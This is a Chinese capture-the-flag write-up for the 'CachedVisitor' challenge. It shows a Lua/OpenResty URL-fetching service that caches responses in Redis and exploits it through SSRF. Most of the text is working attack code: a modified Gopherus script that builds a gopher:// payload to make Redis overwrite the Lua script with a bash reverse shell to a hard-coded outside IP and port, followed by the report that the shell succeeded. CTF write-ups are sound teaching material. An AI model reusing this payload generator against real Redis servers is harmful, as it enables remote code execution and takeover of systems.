明天开始考试周,百无聊赖开了一把CTF,还顺带体验了下二开工具,让无聊的Z3很开心🙂
CachedVisitor这题
大概描述一下:从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码
main.lua
local function read_file(filename)
local file = io.open(filename, "r")
if not file then
print("Error: Could not open file " .. filename)
return nil
end
local content = file:read("*a")
file:close()
return content
end
local function execute_lua_code(script_content)
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
if lua_code then
local chunk, err = load(lua_code)
if chunk then
local success, result = pcall(chunk)
if not success then
print("Error executing Lua code: ", result)
end
else
print("Error loading Lua code: ", err)
end
else
print("Error: No valid Lua code block found.")
end
end
local function main()
local filename = "/scripts/visit.script"
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content)
end
end
main()
visit.script
##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")
ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url
if not url then
ngx.say("URL parameter is missing!")
return
end
local red = redis:new()
red:set_timeout(1000)
local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end
local res, err = red:get(url)
if res and res ~= ngx.null then
ngx.say(res)
return
end
local c = curl.easy {
url = url,
timeout = 5,
connecttimeout = 5
}
local response_body = {}
c:setopt_writefunction(table.insert, response_body)
local ok, err = pcall(c.perform, c)
if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end
c:close()
local response_str = table.concat(response_body)
local ok, err = red:setex(url, 3600, response_str)
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end
ngx.say(response_str)
##LUA_END##
题目预设的visit.script是与内网的redis通信,可以打用gopher协议打redis任意文件写,但题目没有计划任务,考虑直接覆写/scripts/visit.script
因为有##LUA_START##(.-)##LUA_END##包裹,所以不会被脏数据影响
直接用redis-over-gopher一直打不通
sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub
Gopherus有一段类似的逻辑,它的反弹shell是通过覆盖计划任务文件来实现
于是这里通过修改gopherus的/scripts/Redis.py来生成payload
import urllib
def Redis():
def get_Redis_OverWrite():
target_dir = raw_input("input target dir: ") or "/scripts"
ip = raw_input("input rev ip: ") or "27.25.151.98"
port = raw_input("input rev port: ") or "1337"
file = raw_input("input target filename: ") or "visit.script"
file_len = len(file)
cmd = """##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/{}/{} 0>&1'")##LUA_END##""".format(ip, port)
len_cmd = len(cmd) + 5
payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
${}\r
{}
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
${}\r
{}\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
${}\r
{}\r
*1\r
$4\r
save\r
""".format(len_cmd, cmd, len(target_dir), target_dir, file_len, file)
finalpayload = urllib.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")
print("\033[93m" + "\nYour gopher link is ready to overwrite file: \n" + "\033[0m")
print("\033[04m" + "gopher://127.0.0.1:6379/_" + finalpayload + "\033[0m")
print("\n" + "\033[41m" + "-----------Made-by-Z3r4y-----------" + "\033[0m")
get_Redis_OverWrite()
直接打入
成功反弹shell